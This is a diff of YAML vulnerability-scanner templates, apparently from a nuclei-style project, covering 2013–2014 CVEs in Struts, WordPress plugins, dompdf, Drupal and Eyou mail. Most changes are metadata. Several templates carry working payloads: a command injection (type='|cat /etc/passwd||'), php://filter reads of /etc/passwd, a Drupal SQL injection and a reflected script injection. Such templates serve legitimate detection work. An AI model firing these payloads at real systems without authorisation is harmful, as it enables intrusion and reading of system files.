tags: cve,cve2013,apache,redirect,struts,edb requests: - method: GET path: - - "{{BaseURL}}/index.action?redirect:http://www.example.com/" + - "{{BaseURL}}/index.action?redirect:http://www.interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header # Enhanced by mp on 2022/02/21 diff --git a/cves/2013/CVE-2013-2251.yaml b/cves/2013/CVE-2013-2251.yaml index 4e89d8d270..c310535f2c 100644 --- a/cves/2013/CVE-2013-2251.yaml +++ b/cves/2013/CVE-2013-2251.yaml @@ -9,10 +9,10 @@ info: - http://struts.apache.org/release/2.3.x/docs/s2-016.html - https://cwiki.apache.org/confluence/display/WW/S2-016 - https://nvd.nist.gov/vuln/detail/CVE-2013-2251 + remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later. classification: cve-id: CVE-2013-2251 - remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later. - tags: cve,cve2013,rce,struts,apache,ognl + tags: cve,cve2013,rce,struts,apache,ognl,kev requests: - raw: diff --git a/cves/2013/CVE-2013-2287.yaml b/cves/2013/CVE-2013-2287.yaml index fc159e010f..bb925ae363 100644 --- a/cves/2013/CVE-2013-2287.yaml +++ b/cves/2013/CVE-2013-2287.yaml @@ -1,14 +1,17 @@ id: CVE-2013-2287 info: - name: WordPress Plugin Uploader 1.0.4 - Reflected Cross-Site Scripting + name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-2287 + - https://www.dognaedis.com/vulns/DGS-SEC-16.html classification: cve-id: CVE-2013-2287 + metadata: + google-query: inurl:"/wp-content/plugins/uploader" tags: cve,cve2013,wordpress,xss,wp-plugin requests: diff --git a/cves/2013/CVE-2013-3526.yaml b/cves/2013/CVE-2013-3526.yaml index 0448bfb7f8..3e3a9b5aa2 100644 --- a/cves/2013/CVE-2013-3526.yaml +++ b/cves/2013/CVE-2013-3526.yaml @@ -1,15 +1,19 @@ id: CVE-2013-3526 info: - name: WordPress Plugin Traffic Analyzer - 'aoid' Reflected Cross-Site Scripting + name: WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in js/ta_loaded.js.php in the Traffic Analyzer plugin, possibly 3.3.2 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the aoid parameter." reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-3526 + - http://packetstormsecurity.com/files/121167/WordPress-Traffic-Analyzer-Cross-Site-Scripting.html + - http://web.archive.org/web/20210123051939/https://www.securityfocus.com/bid/58948/ classification: cve-id: CVE-2013-3526 - tags: cve,cve2013,wordpress,xss,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/trafficanalyzer" + tags: packetstorm,cve,cve2013,wordpress,xss,wp-plugin requests: - method: GET diff --git a/cves/2013/CVE-2013-3827.yaml b/cves/2013/CVE-2013-3827.yaml index 03525d58c2..055959122f 100644 --- a/cves/2013/CVE-2013-3827.yaml +++ b/cves/2013/CVE-2013-3827.yaml @@ -4,16 +4,15 @@ info: name: Javafaces LFI author: Random-Robbie severity: medium - description: An Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0, - and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web - Container. + description: An Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0, and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web Container. reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-3827 - https://www.exploit-db.com/exploits/38802 - https://www.oracle.com/security-alerts/cpuoct2013.html + - http://www.oracle.com/technetwork/topics/security/cpuoct2013-1899837.html classification: cve-id: CVE-2013-3827 - tags: cve,cve2013,lfi,javafaces,oracle + tags: edb,cve,cve2013,lfi,javafaces,oracle requests: - method: GET diff --git a/cves/2013/CVE-2013-4117.yaml b/cves/2013/CVE-2013-4117.yaml index 85e072ed31..1d687a148e 100644 --- a/cves/2013/CVE-2013-4117.yaml +++ b/cves/2013/CVE-2013-4117.yaml @@ -1,15 +1,19 @@ id: CVE-2013-4117 info: - name: WordPress Plugin Category Grid View Gallery 2.3.1 - Reflected Cross-Site Scripting + name: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-4117 + - http://openwall.com/lists/oss-security/2013/07/11/11 + - http://seclists.org/bugtraq/2013/Jul/17 classification: cve-id: CVE-2013-4117 - tags: cve,cve2013,wordpress,xss,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/category-grid-view-gallery" + tags: cve2013,wordpress,xss,wp-plugin,seclists,cve requests: - method: GET diff --git a/cves/2013/CVE-2013-4625.yaml b/cves/2013/CVE-2013-4625.yaml index 9cc9de7e45..db3dc3261f 100644 --- a/cves/2013/CVE-2013-4625.yaml +++ b/cves/2013/CVE-2013-4625.yaml @@ -1,17 +1,21 @@ id: CVE-2013-4625 info: - name: WordPress Plugin Duplicator < 0.4.5 - Reflected Cross-Site Scripting + name: WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in files/installer.cleanup.php in the Duplicator plugin before 0.4.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the package parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-4625 - https://packetstormsecurity.com/files/122535/WordPress-Duplicator-0.4.4-Cross-Site-Scripting.html + - https://seclists.org/bugtraq/2013/Jul/160 + - https://www.htbridge.com/advisory/HTB23162 + remediation: Upgrade to Duplicator 0.4.5 or later. classification: cve-id: CVE-2013-4625 - remediation: Upgrade to Duplicator 0.4.5 or later. - tags: cve,cve2013,wordpress,xss,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/duplicator" + tags: seclists,cve,cve2013,wordpress,xss,wp-plugin,packetstorm requests: - method: GET diff --git a/cves/2013/CVE-2013-5528.yaml b/cves/2013/CVE-2013-5528.yaml index cd71081988..ce41d2e418 100644 --- a/cves/2013/CVE-2013-5528.yaml +++ b/cves/2013/CVE-2013-5528.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/40887 - https://nvd.nist.gov/vuln/detail/CVE-2014-3120 + - http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5528 + - http://web.archive.org/web/20210122130958/https://www.securityfocus.com/bid/62960/ classification: cve-id: CVE-2013-5528 - tags: cve,cve2013,lfi,cisco + tags: cve,cve2013,lfi,cisco,edb requests: - method: GET diff --git a/cves/2013/CVE-2013-5979.yaml b/cves/2013/CVE-2013-5979.yaml index 7ad29aa3ce..cdf9722925 100644 --- a/cves/2013/CVE-2013-5979.yaml +++ b/cves/2013/CVE-2013-5979.yaml @@ -8,11 +8,10 @@ info: reference: - https://www.exploit-db.com/exploits/26955 - https://nvd.nist.gov/vuln/detail/CVE-2013-5979 - - https://www.cvedetails.com/cve/CVE-2013-5979 - https://bugs.launchpad.net/xibo/+bug/1093967 classification: cve-id: CVE-2013-5979 - tags: cve,cve2013,lfi + tags: cve,cve2013,lfi,edb requests: - method: GET diff --git a/cves/2013/CVE-2013-6281.yaml b/cves/2013/CVE-2013-6281.yaml new file mode 100644 index 0000000000..2f67a808c3 --- /dev/null +++ b/cves/2013/CVE-2013-6281.yaml @@ -0,0 +1,49 @@ +id: CVE-2013-6281 + +info: + name: WordPress Spreadsheet - Cross-Site Scripting + author: random-robbie + severity: medium + description: | + WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php. + reference: + - https://wpscan.com/vulnerability/49785932-f4e0-4aaa-a86c-4017890227bf + - http://web.archive.org/web/20210213174519/https://www.securityfocus.com/bid/63256/ + - https://wordpress.org/plugins/dhtmlxspreadsheet/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6281 + - https://nvd.nist.gov/vuln/detail/CVE-2013-6281 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2013-6281 + cwe-id: CWE-79 + metadata: + google-query: inurl:/wp-content/plugins/dhtmlxspreadsheet + verified: "true" + tags: wp,wpscan,cve,cve2013,wordpress,xss,wp-plugin + +requests: + - raw: + - | + GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "page: ''" + - "dhx_rel_path" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2013/CVE-2013-7091.yaml b/cves/2013/CVE-2013-7091.yaml index 2a81348200..4b85478df5 100644 --- a/cves/2013/CVE-2013-7091.yaml +++ b/cves/2013/CVE-2013-7091.yaml @@ -9,9 +9,10 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2013-7091 - https://www.exploit-db.com/exploits/30085 - https://www.exploit-db.com/exploits/30472 + - http://www.exploit-db.com/exploits/30085 classification: cve-id: CVE-2013-7091 - tags: cve,cve2013,zimbra,lfi + tags: zimbra,lfi,edb,cve,cve2013 requests: - method: GET diff --git a/cves/2013/CVE-2013-7240.yaml b/cves/2013/CVE-2013-7240.yaml index f19be60b3e..50edd26a43 100644 --- a/cves/2013/CVE-2013-7240.yaml +++ b/cves/2013/CVE-2013-7240.yaml @@ -9,12 +9,15 @@ info: - https://www.exploit-db.com/exploits/38936 - https://nvd.nist.gov/vuln/detail/CVE-2013-7240 - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/ + - http://seclists.org/oss-sec/2013/q4/570 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2013-7240 cwe-id: CWE-22 - tags: cve,cve2013,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/advanced-dewplayer/" + tags: wp-plugin,lfi,edb,seclists,cve,cve2013,wordpress requests: - method: GET diff --git a/cves/2014/CVE-2014-10037.yaml b/cves/2014/CVE-2014-10037.yaml index fc7bb4f818..2dc322050b 100644 --- a/cves/2014/CVE-2014-10037.yaml +++ b/cves/2014/CVE-2014-10037.yaml @@ -7,11 +7,11 @@ info: description: A directory traversal vulnerability in DomPHP 0.83 and earlier allows remote attackers to have unspecified impacts via a .. (dot dot) in the url parameter to photoalbum/index.php. reference: - https://www.exploit-db.com/exploits/30865 - - https://www.cvedetails.com/cve/CVE-2014-10037 - https://nvd.nist.gov/vuln/detail/CVE-2014-10037 + - http://www.exploit-db.com/exploits/30865 classification: cve-id: CVE-2014-10037 - tags: cve,cve2014,lfi + tags: cve,cve2014,lfi,edb requests: - method: GET diff --git a/cves/2014/CVE-2014-1203.yaml b/cves/2014/CVE-2014-1203.yaml new file mode 100644 index 0000000000..d8e32964a8 --- /dev/null +++ b/cves/2014/CVE-2014-1203.yaml @@ -0,0 +1,39 @@ +id: CVE-2014-1203 + +info: + name: Eyou E-Mail <3.6 - Remote Code Execution + author: pikpikcu + severity: critical + description: Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function. + reference: + - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g + - https://nvd.nist.gov/vuln/detail/CVE-2014-1203 + - http://seclists.org/fulldisclosure/2014/Jan/32 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2014-1203 + cwe-id: CWE-77 + tags: seclists,rce,eyou + +requests: + - raw: + - | + POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + type='|cat /etc/passwd||' + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/01 diff --git a/cves/2014/CVE-2014-2321.yaml b/cves/2014/CVE-2014-2321.yaml index 7040319972..7f328db084 100644 --- a/cves/2014/CVE-2014-2321.yaml +++ b/cves/2014/CVE-2014-2321.yaml @@ -10,6 +10,7 @@ info: - https://yosmelvin.wordpress.com/2017/09/21/f660-modem-hack/ - https://jalalsela.com/zxhn-h108n-router-web-shell-secrets/ - https://nvd.nist.gov/vuln/detail/CVE-2014-2321 + - http://www.kb.cert.org/vuls/id/600724 classification: cve-id: CVE-2014-2321 tags: iot,cve,cve2014,zte diff --git a/cves/2014/CVE-2014-2323.yaml b/cves/2014/CVE-2014-2323.yaml index e65288f75d..8b91e28223 100644 --- a/cves/2014/CVE-2014-2323.yaml +++ b/cves/2014/CVE-2014-2323.yaml @@ -9,12 +9,13 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2014-2323 - https://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt - http://www.lighttpd.net/2014/3/12/1.4.35/ + - http://seclists.org/oss-sec/2014/q1/561 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-2323 cwe-id: CWE-89 - tags: cve,cve2014,sqli,lighttpd,injection + tags: lighttpd,injection,seclists,cve,cve2014,sqli requests: - raw: diff --git a/cves/2014/CVE-2014-2383.yaml b/cves/2014/CVE-2014-2383.yaml index 901cc9a100..8ca6ae1010 100644 --- a/cves/2014/CVE-2014-2383.yaml +++ b/cves/2014/CVE-2014-2383.yaml @@ -1,31 +1,45 @@ id: CVE-2014-2383 info: - name: Arbitrary file read in dompdf < v0.6.0 - author: 0x_Akoko + name: Dompdf < v0.6.0 - Local File Inclusion + author: 0x_Akoko,akincibor,ritikchaddha severity: high - description: A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter. + description: | + A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2014-2383 - https://www.exploit-db.com/exploits/33004 + - http://seclists.org/fulldisclosure/2014/Apr/258 + - https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/ + - https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582 + - https://nvd.nist.gov/vuln/detail/CVE-2014-2383 classification: cve-id: CVE-2014-2383 metadata: - win-payload: /dompdf.php?input_file=C:/windows/win.ini - unix-payload: /dompdf.php?input_file=/etc/passwd - tags: cve,cve2014,dompdf,lfi + verified: "true" + tags: cve,lfi,wp-plugin,wpscan,cve2014,dompdf,wordpress,wp,edb,seclists requests: - method: GET path: - - "{{BaseURL}}/dompdf.php?input_file=dompdf.php" - - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php" - - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php" - - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php" + - "{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" + - "{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd" stop-at-first-match: true matchers-condition: and matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: word words: - "application/pdf" @@ -37,4 +51,4 @@ requests: status: - 200 -# Enhanced by mp on 2022/02/24 +# Enhanced by mp on 2022/08/06 diff --git a/cves/2014/CVE-2014-2908.yaml b/cves/2014/CVE-2014-2908.yaml index 5c102a88a4..9322e79732 100644 --- a/cves/2014/CVE-2014-2908.yaml +++ b/cves/2014/CVE-2014-2908.yaml @@ -9,10 +9,11 @@ info: - https://www.exploit-db.com/exploits/44687 - https://cert-portal.siemens.com/productcert/pdf/ssa-892012.pdf - https://nvd.nist.gov/vuln/detail/CVE-2014-2908 + - http://ics-cert.us-cert.gov/advisories/ICSA-14-114-02 + remediation: Upgrade to v4.0 or later. classification: cve-id: CVE-2014-2908 - remediation: Upgrade to v4.0 or later. - tags: cve,cve2014,xss,siemens + tags: cve,cve2014,xss,siemens,edb requests: - method: GET diff --git a/cves/2014/CVE-2014-2962.yaml b/cves/2014/CVE-2014-2962.yaml index 9ce8d328b6..2c2c67d121 100644 --- a/cves/2014/CVE-2014-2962.yaml +++ b/cves/2014/CVE-2014-2962.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.kb.cert.org/vuls/id/774788 - https://nvd.nist.gov/vuln/detail/CVE-2014-2962l + - http://www.kb.cert.org/vuls/id/774788 + - http://www.belkin.com/us/support-article?articleNum=109400 + remediation: Ensure that appropriate firewall rules are in place to restrict access to port 80/tcp from external untrusted sources. classification: cve-id: CVE-2014-2962 - remediation: Ensure that appropriate firewall rules are in place to restrict access to port 80/tcp from external untrusted sources. tags: cve,cve2014,lfi,router,firmware,traversal requests: diff --git a/cves/2014/CVE-2014-3120.yaml b/cves/2014/CVE-2014-3120.yaml index 3c3a345c84..66375d0aeb 100644 --- a/cves/2014/CVE-2014-3120.yaml +++ b/cves/2014/CVE-2014-3120.yaml @@ -10,9 +10,10 @@ info: - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120 - https://www.elastic.co/blog/logstash-1-4-3-released - https://nvd.nist.gov/vuln/detail/CVE-2014-3120 + - http://bouk.co/blog/elasticsearch-rce/ classification: cve-id: CVE-2014-3120 - tags: cve,cve2014,elastic,rce,elasticsearch + tags: rce,elasticsearch,kev,vulhub,cve,cve2014,elastic requests: - raw: diff --git a/cves/2014/CVE-2014-3206.yaml b/cves/2014/CVE-2014-3206.yaml index 956be1aeb7..64af96912b 100644 --- a/cves/2014/CVE-2014-3206.yaml +++ b/cves/2014/CVE-2014-3206.yaml @@ -8,12 +8,13 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-3206 - https://www.exploit-db.com/exploits/33159 + - https://www.exploit-db.com/exploits/33159/ classification: - cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-3206 cwe-id: CWE-20 - tags: cve,cve2014,seagate,rce + tags: cve,cve2014,seagate,rce,edb requests: - raw: diff --git a/cves/2014/CVE-2014-3704.yaml b/cves/2014/CVE-2014-3704.yaml index caa96466e7..76fd15724b 100644 --- a/cves/2014/CVE-2014-3704.yaml +++ b/cves/2014/CVE-2014-3704.yaml @@ -9,32 +9,37 @@ info: - https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql - https://nvd.nist.gov/vuln/detail/CVE-2014-3704 - https://www.drupal.org/SA-CORE-2014-005 - - http://www.exploit-db.com/exploits/34984 - - http://www.exploit-db.com/exploits/34992 - - http://www.exploit-db.com/exploits/34993 - - http://www.exploit-db.com/exploits/35150 + - https://www.exploit-db.com/exploits/34984 + - https://www.exploit-db.com/exploits/34992 + - https://www.exploit-db.com/exploits/34993 + - https://www.exploit-db.com/exploits/35150 + remediation: Upgrade to Drupal core 7.32 or later. classification: cve-id: CVE-2014-3704 - remediation: Upgrade to Drupal core 7.32 or later. - tags: cve,cve2014,drupal,sqli + metadata: + shodan-query: http.component:"drupal" + tags: edb,cve,cve2014,drupal,sqli + +variables: + num: "999999999" requests: - method: POST path: - "{{BaseURL}}/?q=node&destination=node" - body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a' + body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a' matchers-condition: and matchers: + - type: word + words: + - "PDOException" + - '{{md5({{num}})}}' + condition: and + part: body + - type: status status: - 500 - - type: word - words: - - "PDOException" - - "e807f1fcf82d132f9bb018ca6738a19f" - condition: and - part: body - # Enhanced by mp on 2022/02/24 diff --git a/cves/2014/CVE-2014-3744.yaml b/cves/2014/CVE-2014-3744.yaml index 7473ec1411..7ea04e9257 100644 --- a/cves/2014/CVE-2014-3744.yaml +++ b/cves/2014/CVE-2014-3744.yaml @@ -9,6 +9,7 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2014-3744 - https://github.com/advisories/GHSA-69rr-wvh9-6c4q - https://snyk.io/vuln/npm:st:20140206 + - https://nodesecurity.io/advisories/st_directory_traversal classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 diff --git a/cves/2014/CVE-2014-4210.yaml b/cves/2014/CVE-2014-4210.yaml index 87845c7740..ced636d80d 100644 --- a/cves/2014/CVE-2014-4210.yaml +++ b/cves/2014/CVE-2014-4210.yaml @@ -1,7 +1,7 @@ id: CVE-2014-4210 info: - name: Weblogic SSRF in SearchPublicRegistries.jsp + name: Oracle Weblogic - SSRF in SearchPublicRegistries.jsp author: princechaddha severity: medium description: An unspecified vulnerability in the Oracle WebLogic Server component in Oracle Fusion Middleware 10.0.2.0 and 10.3.6.0 allows remote attackers to affect confidentiality via vectors related to WLS - Web Services. @@ -9,6 +9,7 @@ info: - https://www.oracle.com/security-alerts/cpujul2014.html - https://nvd.nist.gov/vuln/detail/CVE-2014-4210 - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html + - http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html classification: cve-id: CVE-2014-4210 tags: cve,cve2014,weblogic,oracle,ssrf,oast diff --git a/cves/2014/CVE-2014-4513.yaml b/cves/2014/CVE-2014-4513.yaml index 416cf007fb..cda22cdb15 100644 --- a/cves/2014/CVE-2014-4513.yaml +++ b/cves/2014/CVE-2014-4513.yaml @@ -1,14 +1,17 @@ id: CVE-2014-4513 info: - name: ActiveHelper LiveHelp Server 3.1.0 - Reflected Cross-Site Scripting + name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-4513 + - http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss classification: cve-id: CVE-2014-4513 + metadata: + google-query: inurl:"/wp-content/plugins/activehelper-livehelp" tags: cve,cve2014,wordpress,xss,wp-plugin requests: diff --git a/cves/2014/CVE-2014-4535.yaml b/cves/2014/CVE-2014-4535.yaml index f5cc488e4e..292351960a 100644 --- a/cves/2014/CVE-2014-4535.yaml +++ b/cves/2014/CVE-2014-4535.yaml @@ -1,19 +1,20 @@ id: CVE-2014-4535 info: - name: Import Legacy Media <= 0.1 - Unauthenticated Reflected Cross-Site Scripting + name: Import Legacy Media <= 0.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php. reference: - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd - https://nvd.nist.gov/vuln/detail/CVE-2014-4535 + - http://codevigilant.com/disclosure/wp-plugin-import-legacy-media-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4535 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss + tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4536.yaml b/cves/2014/CVE-2014-4536.yaml index 0781e472a9..3bc8f45b92 100644 --- a/cves/2014/CVE-2014-4536.yaml +++ b/cves/2014/CVE-2014-4536.yaml @@ -1,19 +1,23 @@ id: CVE-2014-4536 info: - name: Infusionsoft Gravity Forms Add-on < 1.5.7 - Unauthenticated Reflected Cross-Site Scripting + name: Infusionsoft Gravity Forms Add-on < 1.5.7 - Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in tests/notAuto_test_ContactService_pauseCampaign.php in the Infusionsoft Gravity Forms plugin before 1.5.6 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) go, (2) contactId, or (3) campaignId parameter. reference: - https://wpscan.com/vulnerability/f048b5cc-5379-4c19-9a43-cd8c49c8129f - https://nvd.nist.gov/vuln/detail/CVE-2014-4536 + - http://wordpress.org/plugins/infusionsoft/changelog + - http://codevigilant.com/disclosure/wp-plugin-infusionsoft-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4536 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss + metadata: + google-query: inurl:"/wp-content/plugins/infusionsoft/Infusionsoft/" + tags: wpscan,cve,cve2014,wordpress,wp-plugin,xss,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4539.yaml b/cves/2014/CVE-2014-4539.yaml index 6918732634..94b663a884 100644 --- a/cves/2014/CVE-2014-4539.yaml +++ b/cves/2014/CVE-2014-4539.yaml @@ -1,19 +1,20 @@ id: CVE-2014-4539 info: - name: Movies <= 0.6 - Unauthenticated Reflected Cross-Site Scripting + name: Movies <= 0.6 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php. reference: - https://wpscan.com/vulnerability/d6ea4fe6-c486-415d-8f6d-57ea2f149304 - https://nvd.nist.gov/vuln/detail/CVE-2014-4539 + - http://codevigilant.com/disclosure/wp-plugin-movies-a3-cross-site-scripting-xss classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2014-4539 cwe-id: CWE-79 - tags: cve,cve2014,wordpress,wp-plugin,xss + tags: wordpress,wp-plugin,xss,wpscan,cve,cve2014,unauth requests: - method: GET diff --git a/cves/2014/CVE-2014-4544.yaml b/cves/2014/CVE-2014-4544.yaml index d9ba1cbb7f..939d1ca226 100644 --- a/cves/2014/CVE-2014-4544.yaml +++ b/cves/2014/CVE-2014-4544.yaml @@ -1,19 +1,20 @@ id: CVE-2014-4544 info: - name: Podcast Channels < 0.28 - Unauthenticated Reflected Cross-Site Scripting + name: Podcast Channels < 0.28 - Cross-Site Scripting author: daffainfo severity: medium description: The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability. reference: - 